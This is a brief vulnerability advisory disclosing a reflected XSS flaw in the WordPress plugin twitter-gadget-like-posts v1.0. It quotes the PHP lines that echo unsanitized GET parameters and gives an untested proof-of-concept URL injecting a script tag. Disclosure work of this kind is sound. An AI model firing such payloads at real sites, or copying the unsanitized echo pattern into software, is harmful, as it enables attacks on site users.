Advisory #: 158
Title: Reflected XSS in wordpress plugin twitter-gadget-like-posts v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/twitter-gadget-like-posts
Downloads: 352
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: twitter-gadget-like-posts
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./twitter-gadget-like-posts/twitter-gadget-like-posts/gadget.php: 64: color: #<?php echo $_GET["color"]?>; 68:a:link, a:visited, a:active { color: #<?php echo $_GET["link_color"]?>; } 69:a:hover { color: #<?php echo $_GET["link_color"]?>;} 72: border:solid 1px #<?php echo $_GET["border_color"]?>; 73: background-color:#<?php echo $_GET["bg_color"]?>; The variable color appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./twitter-gadget-like-posts/twitter-gadget-like-posts/gadget.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/twitter-gadget-like-posts/twitter-gadget-like-posts/gadget.php?color="><script>alert(1);</script><"